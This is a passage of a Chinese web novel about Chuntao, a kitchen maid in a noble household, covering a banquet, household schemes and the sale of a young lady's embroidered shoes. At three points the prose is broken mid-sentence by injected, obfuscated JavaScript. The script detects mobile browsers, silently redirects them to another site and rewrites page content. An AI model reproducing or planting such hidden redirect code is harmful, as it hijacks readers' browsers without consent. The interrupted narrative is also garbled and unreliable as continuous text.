素织无意理会李奶奶的谄媚，只是吩咐道：“今儿陈太太来府上拜会，见过老太太后便往我们这边来，大太太吩咐要将两只鸡做出一道汤来，再添两道看得上台面的荤菜，米饭里添些粟米免得荤腻。” 李奶奶点头如捣蒜，眼珠子一转，又问道：“陈太太难得过来逛逛，太太先前交给我的银器可要拿出来用？” 这老货心里定然在想自己问的极周到聪明，素织心里想，看李奶奶的眼神带了点嘲弄：“又不是官家太太来访，何至于动用那么大的家具。您老人家只管把午膳准备妥当，旁的用不着您操心。” 李奶奶连忙笑着应下，哈着腰，一路笑着把素织送出后厨，回来时笑的脸都有些发酸，使劲挤着眼睛让自己面部肌肉恢复正常。春桃顶着满脸的李奶奶自制猪油面糊面膜，扒在门边，觉得这一幕颇为滑稽，没心没肺的笑起来，被李奶奶照着屁股就是一巴掌，轰她去洗脸了。 “还不快去收拾了当，麻溜过来帮忙！” “哎呦！”春桃连忙作鸟兽散。 这边厢，素织一路回到了大太太的宜兰院，见几个丫头捧着几大捧盒的杯盘玩器从正房鱼贯出来，便知道是白府负责采买的大管家陈忠媳妇已经在正房与大太太说话了，这些东西照例是陈忠和他媳妇在外采买得的精致物事儿，拿来孝敬主子。 素织打了帘子进去。 白家的主母太太庄氏高居主位，客座首席的便是买办陈忠的媳妇陈太太。 庄氏是白府的当家主母，多年管家下来积攒的威严使得她眉目之间颇有压迫之势，虽是笑眼看人，却没来由的让人有喘不上来气的感觉。虽绾着寻常的髻子，但簪的首饰却是极讲究，鬓边对称插着一对赤金如意纹镶翡翠的发钗，那翡翠足有鸽子蛋大小，是封氏最得意的一套头面。平日里戴着这套头面的场合，不是出席命妇宴会，就是进宫叩见天颜。若非特别必要，必不会请出这套宝贝。只是大太太年岁上来后，再不复年轻时的气韵风度，金灿灿的首饰反而越发辉映出她干枯发硬的脸皮和眼角细碎的眼纹，涂着不服帖的口脂，抿着唇愈发显得刻薄。 素织向大太太回禀了已经传饭，大太太略一颔首，便命她退了出去。 膳房里，李奶奶已经煨上了鸡汤，忙前忙后的差点摔个狗啃泥，便高声喊了春桃洗了脸来给她帮厨。李奶奶麻溜的把梅花肉切成薄片，春桃则端着一碗蒜瓣坐在门槛上剥蒜，母女两个配合得倒是相得益彰。不多时，竟见了大太太近身伺候的大丫鬟灵棋来，倒让李奶奶丈二和尚摸不着头脑。 “大太太吩咐，把舅老爷回京带的江南养的珍珠鸡炮制了，加一道莼鲈羹，米饭换成香贡米，撤掉寻常碗盏，换了银餐盘来。你此刻便让人去祝嫂子那里拿太太的那一套银制餐盘，找两个稳妥的丫鬟洗了出来。” 灵棋说得急，可见主子格外重视，李奶奶慌忙点头，洗了手从衣服兜里掏出库房钥匙，便陪着灵棋去找管库房钥匙的祝嫂子，取了一套纯银打造的杯盘碗盏来，这是大太太从江南带来的陪嫁，平常会个贵客时取出这一套出来，既是拉拢客人，也是向客人炫耀自己母家的富甲一方。白府一共两套银餐具，大太太这里一套，是她自己的陪嫁，公中一套，是白府宴请贵客的器皿。 正当众人慌忙把银盘拾掇出来清洗时，却又见大太太陪嫁嬷嬷，也是白府的管家奶奶，崔奶奶领了一众丫鬟鱼贯而来，人人手里捧着大捧盒。 李奶奶这下是一点招架之力也没有了，她平生哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613249|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过这么多贵人到她这小破地方来下达指令？只会呆愣愣的看着崔奶奶，灵棋还算见过大世面，放下正在清点银器的簿册，给崔奶奶福了福礼，问道：“崔奶奶，敢是太太又有什么吩咐？” 崔奶奶到还算是稳重拿大，只是笑吟吟的道：“太太想着银器已经许久不用了，这套象牙餐具是舅太太新近从江南带来的，便让先拿着这一套支使。” 银器虽贵，可到底花了钱总归是买的来的，那象牙餐具，可绝对称得上是有价无市。非是下海的商船，才能弄来这么一副半副的。 灵棋转着眼珠子，似乎是在思索太太的用意，崔奶奶却已经把着笑脸招呼李奶奶了：“午膳若是齐备了，便装起吧。” 李奶奶已经是都不敢再问太太这么一次次升级待客规格是为了什么了，只能连忙点头，火速的把一道道珍馐装进精致的餐盘里。 待一切收拾停当，每个丫鬟都捧着一道菜肴，在膳房一字儿排开，站的齐齐整整。崔奶奶一一清点过后，满意的点点头，转身问道：“有豌豆苗子没有？” 李奶奶一叠声的叫着：“有有有！” 崔奶奶道：“陈太太刚从蜀郡回来，说想念生豌豆苗的滋味，你去洗了出来。”顿了顿，又道，“我记着，几年前买来府中的小丫头子，那契上押的是蜀州的印？你找一个机灵的，端着豌豆苗子去给陈太太。” 还未等李奶奶作反应，灵棋反从人堆里插了过来，笑着道：“小丫头子毛手毛脚的，恐伺候的陈太太不周到，我端着去吧。” 崔奶奶依旧笑着，道：“灵棋姑娘不知道，陈太太是蜀中人，既见了同乡，必然高兴呢，于太太的事也有益。” 崔奶奶是太太的陪嫁，她说话一向代表着太太的意思，何况已经明说了于太太有益，灵棋也不好说什么，只得作罢。 这可高兴坏了李奶奶，她连忙把春桃扯出来，往前推了推，道：“这丫头便是蜀中贩来的，人也机灵，伺候陈太太再便宜不过了。”李奶奶笑得开心，眼角能夹死苍蝇的皱纹都舒展开了几分。 春桃自己心里却在打着鼓，当初卖她来京城的人贩子虽明面上说是从蜀中贩来的人口，身契上盖的也是蜀州的通关印。但其实，她们一帮子小丫头是那人贩子从北方魏国装上南下的航船，运来景国京城的，因为跨国倒卖人口于国法不容，可这其中又实在是有暴利，故而人贩子便假托是从蜀中买来的人，打通了官府，盖了通关的印。因为这种事情实在司空见惯，因此官府虽然禁止，却也只是睁一只眼闭一只眼罢了。 春桃自认操着一口的北方口音，怎么着也过不了陈太太那一关，被李奶奶推出来，正是叫苦连天，谁承想，崔奶奶大略扫了一眼，便满意的点点头，道：“那便是这孩子吧。” 于是，春桃便这样惴惴不安的跟在崔奶奶后面，捧着一小碟的豌豆苗，进了宜兰院，又在外院丫头打帘子下，进了她此前从未有资格踏足的内院主屋。 5. “指鹿为马” 太太庄氏和客人陈太太已经从说话的正堂转移到了用膳的厢房，大丫鬟灵棋素织一左一右侍奉大太太庄氏，崔妈妈指挥着捧着盥洗的铜盆水罐的丫头入内侍奉，前头没了崔妈妈，春桃竟成了队伍之首，吓得她把头埋的极低，和捧着食盒的丫头们等在外间。 不一会儿，主子奶奶们净了手，崔妈妈按照菜式花样吩咐奴才们一一奉上。 丫鬟们皆屏息凝神，脚步轻轻，在崔妈妈的指挥下严格照着顺序奉上菜品，春桃低着头，只能看见丫鬟们进进出出的绣花鞋和随着快速走步带起的裙边互相触碰。 不多时，一只手轻轻拍了拍春桃，春桃神色一凛，竭力保持着镇定，微微朝崔妈妈偏头，崔奶奶用手往次坐的方位带了带，春桃微微点头，捧着小托盘，依旧弓着身子低着头，将那一小碟绿油油的豌豆苗放在了陈太太的餐具边。 按道理讲，奉上菜品若主人没什么吩咐的话，春桃就该下去了，正当春桃弓着身子要退下时，崔奶奶笑着上前一步，道：“陈太太，奴婢方才去厨房，见有新鲜的豌豆苗，知道您一直想着这味道，便吩咐下头摘了新鲜的嫩尖儿洗了出来。” 崔奶奶就站在春桃身后，导致春桃退无可退，直接被吓出一身冷汗，正当她思索着从崔奶奶左后还是右后钻出去哪个不太显眼时，陈太太微微转了身子过来，笑着向崔奶奶点头，道：“崔姐姐有心了，我不知何时说过一嘴，竟劳烦你记得，”随后便转头恭维太太道，“有这样得力的管事嬷嬷，都是大太太调教的好。” 大太太受了贵客恭维，心里不知如何熨帖呢，只是面上不显，笑着道：“你且尝尝，可同你们老家的一样吗。” 陈太太生的眉眼细致，举止也温婉优雅，全不似寻常买办婆子粗着脖子吆五喝六的做派，倒真像个官家太太。她执起筷子，捡了一小根豌豆芽吃，少顷便面露惊喜神色，道：“这清甜滋味，竟与我们老家自己种的一般无二。我上次去英国公家拜会，他们家也给我炮制了豌豆苗来着，怎比得上这个新鲜，到底是白府。” 真这么新鲜，白府一个四品京官，竟比过了国公府？春桃绷直了身子，紧张害怕的间隙还顺便思考了一下这话的真实性。 不管春桃怎么想，反正大太太庄氏脸上笑颜愈发浓烈。 谁承想，陈太太竟转过头，瞧着春桃问道：“这必是新摘的不是？” 春桃就好像被登闻鼓的大鼓锤给狠狠锤了一下，她怎么也没想到陈太太能杀个回马枪来问她，瞬间慌了神，大脑迅速组织语言，答道：“回陈太太的话，是膳房的李奶奶觉得豌豆苗入菜瞧着鲜嫩，故而育了几盆，以备主子听用。” 陈太太放下了手中的筷子，满意的点了点头，笑着道：“听你说话，像是蜀中口音？” 啊？ 春桃直接傻了，她都开始怀疑陈太太到底是不是蜀中人了，到底是从一嘴的北方话里的哪个音符判断出来她有蜀中口音的啊？ 可主子发话，她怎么可能回一句“不是”呢？便接了陈太太的话茬，尽量夹着点嗓音道：“回陈太太，奴婢祖籍确是蜀中。” 陈太太竟好像是越看越爱她，用手抬了抬春桃的下颌，发出一声赞叹：“倒好个模样儿，细眉细眼的，让人瞧着喜欢得紧。我只觉得这一屋子的姑娘啊，一个比一个标致。” 春桃的容貌在新买进府的小丫鬟们中间是拔尖的，可陈太太万不可能没来由的夸赞她，若要夸她，那必然是借花献佛，为的是拍大太太的马屁，她只不过是个借口。 显然大太太很满意陈太太的奉承，春桃方才不在屋里，可崔奶奶却是知道，方才在正堂，二位太太聊了些什么话题，因此看着春桃的目光便带了些许深意。 春桃毕竟不是这次小宴的话题中心，受了陈太太的夸奖后，崔奶奶上前给二位太太布菜，春桃得了空子，便弓着身子退了下去。 待二位太太用完了午膳，春桃等一行人便回到了厨房，因为太太们半道改了吃珍珠鸡，因此原先做的山鸡便拿来给厨房的下人开了荤。春桃溜进了李奶奶的屋子，见炕桌上果然放了一碗米饭盖着一只鸡腿，春桃知道这是李奶奶留给她的，便乐颠颠的蹬了鞋子，坐上去开始扒饭。 正当她吃的不亦乐乎时，一脸小麻子的春秧兴冲冲的进了屋，跳上了炕，抢过春桃手中的碗筷便搁在桌子上。 春桃顶着油乎乎的小嘴不明所以的看着春秧，却见春秧满脸的神秘莫测，冲她勾了勾手指，拉着她的衣袖，两个小姑娘出了屋子，径直往厨房的后墙根处去。 “说是往江南贩过料子，能跟卢尚书说上话，咱家二哥儿不是说话就要参加乡试了吗，还说与卢尚书家的小姐说过几句话，那小姐最是温婉贤淑……哎呀什么哪个卢尚书，就是那个吏部尚书卢进义，进过政事堂，前一阵子不是告老了么，让他指点咱们二哥儿的科考……” 春桃仔细听了，是李奶奶和大太太房中的崔奶奶在说话。 “这跟太太院子里收用丫鬟什么相干？” 崔奶奶一脸的恨铁不成钢：“哎呀跟你说了也是白说，眼见着陈太太在咱们太太跟前炙手可热呢，若真能促成二哥儿和卢小姐的婚事，那太太可欠了陈太太一个大人情，到时候何止是安排一个丫鬟进院子！” “可陈太太怎会上心这等小事？”李奶奶依旧一头雾水。 崔奶奶在大太太跟前侍奉，身边的都是人精儿，哪受得了李奶奶这么愚笨的盘问，当即跳脚，也不压低声音了，道：“我方才不是与你说了吗，陈太太的儿子也到了婚配的年纪，在席间陈太太也跟咱们太太提起过，说是商贾的女儿看不上，农家的姑娘又嫌太粗笨，说是看上了老太太跟前的大丫鬟云舒，又听云舒已经配了人家，正为这个没奈何。我见太太是有这个心思结亲的，方才席间春桃又得了陈太太好一番夸赞，我也正是为了这个过来跑一趟告与你知晓，不然我闲的没处去与你说这个鬼热闹来？” 李奶奶一听要与陈家结亲，这与她设想的让春桃给二爷做妾的路子完全不一样，不由得心生不愿：“没想让那丫头嫁到陈家去，我看这事不好弄。” “哎呀李奶奶怎么听不懂人话！”春秧急的直捏拳，而春桃看着这两拨人的你来我往，越发发懵。 果真听到崔奶奶斥责李奶奶的声音：“你怎么这么不领事儿啊！那陈家虽是奴才，可眼见着比主子还体面呢，你在这两嘴唇一碰就能把亲事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613250|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了？虽说春桃入了陈太太的眼，可离着真议亲那还差着十万八千里呢，中间又会横生出多少变故来！只是大太太上了心，有意在咱们府里选女孩子去栽培，那也只是说有意栽培，再加之将来二爷成了家，大太太这做母亲的，定是要给二爷预备下可心的人伺候着，肯定也要从手底下的女孩子里来选，将来是个什么样，谁也说不准。” 李奶奶虽说对其间的门道依旧没怎么听清，但只听到了太太要给二爷预备妾室这一句，她总算是听懂了，当即喜笑颜开着说：“那感情好，那感情好。有了这个念头，还指望崔奶奶能给多上上心。” “光嘴上谢呀！”春秧又压低了声音急迫道。 还好她们躲在屋子拐角处，春秧的声音二位奶奶听不清，不过春秧的意思春桃听懂了——崔奶奶是太太跟前得力的人，见了李奶奶也只管三令五申的，何时这么殷勤热心的来传过话？既然带来了一手消息，就该重金好生谢过，更何况还希望人家能给帮帮忙，就更得下功夫去贿赂了，可眼瞧着李奶奶没想到这一茬。 春桃突然觉得经历过最近的事情后她的脑子灵光了不少。 初春午后的阳光照在人身上暖融融的，春桃将目光移向了厨房后的葱郁树木，绿油油的反射着阳光，不知怎的，春桃就想起了那日三爷曾与她说过，近日就能把她弄进大太太院里的话。三爷在白府里现实的处境和陈家的炙手可热形成了鲜明的对比，这两家怎么可能说上话？春桃怎么也想不明白这其中的关窍，但总是隐约觉得，今日的事，或许与三爷有关。 那日宜兰院一行过后，春桃还曾试图去三爷白向晚的院子里问询，可三爷却并没有再准她见面，只让小厮从嘉来传达三爷的意思，不日之内春桃便可以进入宜兰院，叮嘱她万事小心。 春桃没来由的就觉得落寞，临出蕴绿轩的门时，春桃再次回首，却只看见了墙根儿底下那几盆郁郁葱葱的盆荷，想来不日盛暑来临，定能开的花朵繁茂。 这日清早，春桃和小姊妹春秧在厨房的后堂，蹲在一大堆竹笋前，把齐整漂亮的往箩筐里头捡，把烂的坏的往墙根儿踢。那箩筐里的，自然用来做中午白府一大群主子的佳肴汤羹。丢在墙角儿的，剥了剥切成碎渣，和别的破菜叶子陈米还有主子前一天吃剩的饭菜熬在一起，就能做成一大锅粗使奴才们的早饭菜粥。 春秧轻快的把坏了的笋往墙根儿扔，一边扔还一边说：“今儿又是轮着我去给二位小姐送午饭，上次我去给四小姐送午膳来着，四小姐不知道怎么了，在她的绣楼里大发脾气，把饭菜全砸在地上，还踩了几脚。四小姐看见我在跟前儿，便让我趴在地上吃她的饭。” 小姐吃的饭必然是尽善尽美，精致的不得了，即就是被砸在地上，踩了几脚，不过是脏些，和她们平日里吃的还是不能比的，春桃听到这里，心中也生起了一股向往。 果然又见春秧笑着蹲在她跟前，抓起春桃因为挑笋而灰扑扑的手，道：“我高兴坏了，赶紧给四小姐磕头，然后抓起来就这样啊呜啊呜的往嘴里送……”说着就把脸埋在春桃的手上，像巴儿狗一样吭哧吭哧的模仿着那天吃东西的囧样儿。 春桃听了，被春秧逗得笑起来。 6. 误入姐姐的迷魂阵 “李奶奶那日做给四小姐的油爆笋尖和鸡丝南瓜全让我吃了，”春秧得意地说着，“我让四小姐笑了好一阵子，她说我吃的像狗啃屎似的，把她的一只绣花鞋脱下来打我，我把绣花鞋紧紧的攥在手里，嘴上怎么吃也吃不完，还时不时给四小姐学个狗刨。” 这下可把春桃吓着了：“哎呀，那你得赶紧跑呀！一会子你把四小姐惹生气了怎么办。” 谁知，却见春秧竖起食指摇了摇，故作高深的说：“这你就不懂了吧，一只绣花鞋有什么用，过了阵子四小姐果真又脱下来一只打我，我赶忙把两只鞋收进袖口，把地上的收拾完了，这才退出来。你知道吗，一双千金小姐的绣花鞋，在市集上，贵的能卖四两银子呢，这种沾了油水的，卖个几吊钱总还是能的。” 春桃不由得佩服起小姐妹的战略眼光，冲她比着大拇指。 厨房里又响起来李奶奶骂人的声音，应该是帮厨的小厮丫鬟哪个又办错了事，吓得两个小姑娘赶紧散开干自己的活。 春秧一边忙活着，一边嘴里还在嘀咕：“要是这回四小姐也能发大脾气，再让我吃几口她的剩饭就好了。” 春桃也发自内心的向往着。 四小姐白思婉是大老爷的庶女，和二房的三小姐白思絮一起住在白府专供小姐居住的漱砚斋里。漱砚斋在老太太丁氏的荣寿堂偏西侧一点，比较靠近白府二房的内眷居所，前后有两栋绣楼。三小姐比较得宠，因此住在大气宽敞的前楼上，四小姐性子一直古怪，作为庶女，也不能讨嫡母庄氏的喜欢，故而住在后楼，自然也是小巧秀雅的，只是不能和前楼相较。 春桃回想着她从前给白府这两位小姐屋里丫鬟送午膳时的所见所闻，心里又是感慨又是唏嘘。 四小姐让春秧吃地上的饭菜，自然是为了作弄春秧，可她们这种草芥子一般卑微的小丫鬟，哪里懂得什么是作弄呢？主子砸在地上的饭，那也是底层的奴才们这辈子都吃不到的珍馐。 晌饭预备好之后，春桃与春秧各提了一个多宝盒，一起去给白府的主子们送饭，二人临到荣寿堂时分手，春秧往南去漱砚斋送饭，春桃往东去宜兰院送饭。 也不知是最近撞了什么大运，春桃将饭盒交给大太太身边的大丫鬟素织，兀自去垂花门前等待大丫鬟们用饭结束好拿回饭盒时，竟被大太太身边的灵棋唤住。 “灵棋姐姐安好。”春桃笑嘻嘻的与灵棋招呼，与浑身清冷疏离的素织不同，灵棋周身都散发着温婉的亲和力，一双眼睛柔美温和，像林间小鹿一般，春桃这种唯颜值论的小姑娘很容易就对这个和善的大姐姐有了亲睦之心。 “春桃小妹妹。”看着小姑娘亮晶晶的眼睛望着自己，像个小狗一样卖命的摇着尾巴，灵棋也笑着回应，她捋了捋小姑娘的发梢，亲切地拉着她的手，到檐廊下面站定，方才从袖口掏出一件桃粉色的小衣，道：“前些日子太太让给丫鬟们裁制衣裳，可巧多给我做了两件没处搁，你瞧这小衫子的颜色，喜不喜欢？你个子窜得快，不日就能穿得上，与其到时候来不及裁制新衣裳，不如拿了我这件，我瞧着倒是极衬你的。” 春桃受宠若惊：“我怎敢白拿姐姐的东西呢，李奶奶知道了非得打我不可。” 灵棋却不置可否，将小衫子重新叠成一小块方巾，径直塞进春桃袖口，道：“不值什么，一件小衣而已，李奶奶整日忙得不开交，手底下又管了你和春秧还有厨房帮工这许多的小丫头子，怎么能给你把心操全，你如今渐渐长大了，不必万事都让她知道。” 春桃还欲推拒，却又听灵棋道：“何况，你李奶奶你还不清楚，她若是知晓你与我们宜兰院关系好，指不定如何愿意呢。” 这倒也是，李奶奶平日恨不得她能化成巴儿狗，把宜兰院出来的人都舔一遍，若是她能与灵棋交好，李奶奶定然也欢喜的，思及此，春桃便不再拒绝，小心把小衣收了，道：“那我给姐姐做花篮，做蝈蝈笼子。” 互赠礼物嘛，自然是有来有回的。反正春桃是这样想。她不像灵棋，得主子青眼，这样好的衣料子也能随意送人，只能把自己有的回赠。 灵棋被她认真的样子逗笑，拧了拧春桃的鼻子道：“这么大了，还玩蝈蝈笼子呐？李奶奶真把你这小丫头当亲闺女儿娇养着。如今晚上你是和春秧儿一起在后堂住，还是和李奶奶一起呢？” 虽然同为李奶奶的干女儿，但春秧和去年天花死了的春枝，大一点之后便搬去后堂和白府的丫鬟们住一起。而春桃作为李奶奶的“姨娘”培养潜力股，是跟着李奶奶在膳房旁边搁柴火的小屋子里住的。 春桃老实回答：“和李奶奶住，李奶奶每晚扯鼾，我都睡不好呢。” 灵棋被春桃逗笑，眉眼弯弯，说道：“你瞧你李奶奶多疼你，偏你这小没良心的还不领情，春秧儿不定多羡慕你呢。李奶奶疼你，为你前程打算，你将来要比春秧儿更孝顺你李奶奶才算。” 这种让她将来孝顺李奶奶的话，春桃从卖进府里的那一刻起听到如今，自然不做他想，乖乖地点头答应。 “行了，去正厅候着吧，别让你素织姐姐瞧见这小衣服，她若见了必定是要不依不饶的，要悄悄藏好，好吗？” 春桃点头如捣蒜。 灵棋又逗她道：“你如今更喜欢灵棋姐姐还是素织姐姐？” 春桃连忙表忠心：“喜欢灵棋姐姐！” 灵棋笑眼弯弯：“这话可别让你素织姐姐听到。” 二人携手到了正堂外，灵棋亲昵的捏了捏春桃的脸蛋，打帘子进了东侧间，二人作别。 宜兰院的漂亮大姐姐们都散发着迷人的香气，春桃带着饭盒回去的时候，心里甜滋滋的想着。 春秧前些日子在四小姐那收获的两只绣花鞋，被春桃用李奶奶的一小块猪胰皂仔细地洗干净，托二门上的小厮拿出去卖，收获了一堆小银子，足足有四两，两个小姐妹欢喜极了。为了打点好外出往来的关系，春桃建议将那一疙瘩足有小一两的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613251|187624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银子拿来收买二门的小厮小石头，这样以后想要外出打点，也算笼络了一个熟人。春秧虽然肉疼，但也支持。 “其实他愿意帮咱们出去卖这鞋子，可不与什么银子相干，只要你肯在他面前多晃几次，那贼小子的眼睛都看直了，还能有什么不愿意的。”春秧用剪子仔细斟酌着银子的裁量，生怕亏损自己一点半点，嘴上也不闲着。 春桃正稍在炕沿子边缝装银子的小布袋子，闻言摇摇头，道：“还是往来清楚点的好。” 春秧笑嘻嘻的凑近春桃，跟她小声嘀咕道：“你可知四小姐那双鞋子是个什么来历？” 对于小姐妹抖的包袱，春桃一贯捧场，问道：“什么什么来历？不就是一双鞋子吗。” 春秧故作高深，道：“是石头告诉我的，那收鞋子的人是裁缝铺子的，说那绣花鞋上的纹样正是如今京城里最时兴的，因为花纹繁琐，且用了新织法，层层叠叠的绣起来，若绣的是一朵云，走动起来就活灵活现好像脚底下真踩着祥云似的。但因为是私家珍藏的绣样和针法，所以在京城就算是公主大驾，想买也未必买得到。” “那我们岂不是卖的太低了？”春桃惊呼。 “别打岔，那裁缝还说了，如今京城里竞相仿制这种花样，但始终学不像，但就连四不像的劣质仿货都被抢疯了。咱们府里竟能出了真品，那裁缝让咱们想办法能弄到绣法与花样稿子，就给咱们这个数。”春秧两个手指打叉，比出一个十字。 春桃惊得倒吸一口凉气。 “咱们府上，那样精致的绣鞋又是从谁手里传出来的呢……”这下就连精明的春秧都犯了难，毕竟她们作为底层的小丫鬟，能掌握的信息少之又少。何况那些精巧的奢侈品，也不是她们能经手的，就算是有心想打听，也难如登天。 不知怎么的，春秧每念叨一次“花样”，春桃的脑子里就幻出她那日曾经在大太太屋里见到的，细密精致的暗红芙蓉绣在群青的丝绸裙裾上，堆叠繁杂，开到荼蘼好似一片云霞，那般温婉沉静，与它的主人气质完全契合，是谁来着…… “陈……”春桃喃喃自语。 “陈？陈家的？咱们府的买办？”春秧来了兴致，跳起来笑道，“果真有些见识啊你，我怎么没想到呢。这一二年，谁还能不知道这一家子的大名，倒是比之前那家只会拿月钱的买办会办事多了。听说当初和咱们府签的是活契，如今生意越做越大了，只是还顾着原来的旧交情，依旧给咱们府做买办，他们神通广大的，必然有法子弄到那么精巧的花样。” 所谓买办，一般是管家的手下，负责给大门不出二门不迈的主子们采买外头的用品，大到屋舍修建的泥瓦梁木、车马家具，小到小姐的裙钗绣鞋、胭脂水粉，都要由这样一个人经手，买进来的东西好与不好，要看这个人贪不贪、贪多少，以及采买的眼光与和外面货物工坊的应酬本事，若是个没什么品味的，又没有门道，弄不来精致的好东西。那便只能让主子吃亏了。 7. 入职在望 在京城里，如英国公府郑家、宣平公主驸马周家这种钟鸣鼎食的簪缨世家，百年家业自是无需买办从市面上采买东西，人家自己家就养着各种“不世出”的能工巧匠，完全自给自足，和别的小贵族都不是一个量级的，这样人家里的买办只不过是个吉祥物。但正如白家这种近十几年才崛起的新贵，无论从经济实力还是号召力上都不足以养得起那么庞大的后勤部，便只能找个靠谱的买办，能置办到上等的好东西，才能充起贵族的派头。 十分可惜的是，白府从前的买办王怀，虽是白府的家生奴才，忠心那是没得说，但却没那么强的本事能周旋在京城庞大的市场中，置办的东西只能说还算凑合。但白家的主子这几年在官场上上蹿下跳，又是和大太监荣保做亲家，又是给宰相牵马的，很明显是向上攀爬的冲劲十足。只能买到蹦蹦车的买办和一心想要挤进劳斯莱斯车友群的主子，自然不能适配。 于是王怀便捞到个副管家的头衔，明升暗降的被赶去管理白府的田庄了，白家不知由谁牵线搭桥，和如今的买办陈家订立了合约。要说这陈家也是真有本事，眼光毒辣也确实会做生意，采买来的东西既上得了台面，又节省资金，属于是能让主人家面子里子都体面。虽说陈家这两年生意越做越大，做着好几家新贵的买办生意，发展势头正是劲烈，但却对白家一直感念旧恩，年年孝敬事事垂询，明明自己出去也是一方人物，但对白家却一直以下奴身份自居。由此和白家结成了牢固且亲密的关系，白家上下都和陈家关系不错，两家的合作也渐渐从采买各种贵族用品慢慢发展为互相在政坛上提供便利，算是绑定的比较死的利益伙伴。 因此在白府，上至老太太与诸位老爷太太，下至春桃春秧这样的小丫鬟，一提起陈家，那都是推崇备至。 “你说你将来，能不能去做陈家的少奶奶啊？”春秧用肩膀推了推小姐妹，道，“那天听崔奶奶说，陈太太蛮喜欢你的呢。” “啊？不能吧，李奶奶不是让我勾引二爷来着……”春桃一提起二爷，就感到深深的绝望，连卖绣花鞋赚来银子的快乐都荡然无存。 何况人家不过随口夸了她一句，白府主子和陈家对于春桃而言都是天神量级的人物，无论哪一个她都搭不上。其实李奶奶和她的心态都差不多——爱信等，除此之外，便一点招儿都没了。 “无所谓，将来不论是做二爷的姨娘，还是做陈家的少奶奶，我都能跟着你发财。”春秧笑嘻嘻的搂住春桃。 春桃几针收尾，一个精致小巧的小钱袋子就做出来了，她将那堆碎银子全装进袋子，收紧了口子，递给春秧。 “你拿着吧，”春秧又将袋子推回去，道，“我自己留了一点，在这府里也没什么花钱的地方，若你将来能去太太跟前服侍，要用钱的地方多着呢。宜兰院里的人，可都不是什么好相与的。” 小姑娘说的眉飞色舞，好像一个指点江山的军师，连脸上的小麻子都跟着她的挤眉弄眼一动一动。 春桃眼睛一热，不知该如何感谢小姐妹的盛情，便将前些天灵棋送她的小衣拿出来给春秧。 “你瞧，这上面的纹样多么细致，”春秧仔细地抚摸着柔软的衣料，抬头笑着道，“灵棋光是一个丫鬟，便能穿这么好的衣服，你以后一定要做主子。” “你拿去穿，只是别让李奶奶发现了。” 谁知春秧又是摇头将小衣服推了回来，道：“里头的衣服有什么好花心思的，穿什么都一样，只是主子跟前拜高踩低的多，你晚上脱了外衣，里头若是穿的破破烂烂，定要被人看低了，这衣服一穿出来就能被人高看一眼。” “可我不知能给你些什么……” “你多从陈家的那里弄些花样料子出来，我们好发财。这才是正经事。”春秧笑着说道，一张糙糙麻麻的小脸上沐浴着阳光。 末了，春秧又道：“别忘了勾引二爷，这也是正经事，不然李奶奶得气死。”有什么办法呢，这已经是春秧和李奶奶这样的下等奴婢们能为春桃想到的最好的出路了。 春桃笑容凝固在脸上，只是还是感谢小姊妹的用心，认真的点了点头。 “李奶奶，我可给你道喜来了！” 二人正说话的间隙，突然被几嗓子洪亮的女高音给吓了一跳，两个小丫头忙跳上床，趴着窗户往外瞧。李奶奶的住处便在白府的大厨房旁边，一间不起眼的柴火房里支的一张小床，因此春桃她们只要跳上床，就能听到是什么样的客人造访。 “嘿，是后门子上的吴嫂子。”春秧吹了两口气，和春桃对视一眼，两个小丫头接着听下文。 吴嫂子是个近四十的妇人，头上扎着看着就不知道浆洗了多少遭的发巾，整个人肥胖臃肿，穿的也不甚干净，牵着一个约莫十二三的干瘦小姑娘。一进了后厨的敞院子，便堆起一个油腻腻的笑容，一叠儿拍手道：“你老人家可是要享福了，春桃丫头得了宜兰院那么好的去处，竟瞒得密不透风，几十年的老姐妹，你可是把我当外人了！” 李奶奶只是嘿嘿笑，一张老脸笑的都要皱起来。吴嫂子这一番话，可谓是石破天惊，立马就在后厨炸开了锅，几个帮厨的厨娘连连惊呼，大家七嘴八舌的问李奶奶吴嫂子的话是真是假。 李奶奶哪是那种心里搁得住事儿的人，当即憨厚笑道：“八九不离十了！昨儿账房太太才传下话儿，叫人量了春桃的身形去裁制衣裳。” 众人听了这赤裸裸的炫耀，还有什么不知道的，想是春桃进入宜兰院只怕已经是板上钉钉的事儿了，连忙又七嘴八舌的恭喜李奶奶。 “李奶奶，您可有大造化了，给闺女攀了个好前程呢！” “还是李奶奶门路广，我们就想把女儿送进宜兰院，可也没那个本事呀！” “宜兰院的丫鬟，哪一个不是穿金戴银的，您老的好日子来咯！” 倒也不至于是穿金戴银吧，春桃在心内腹诽。 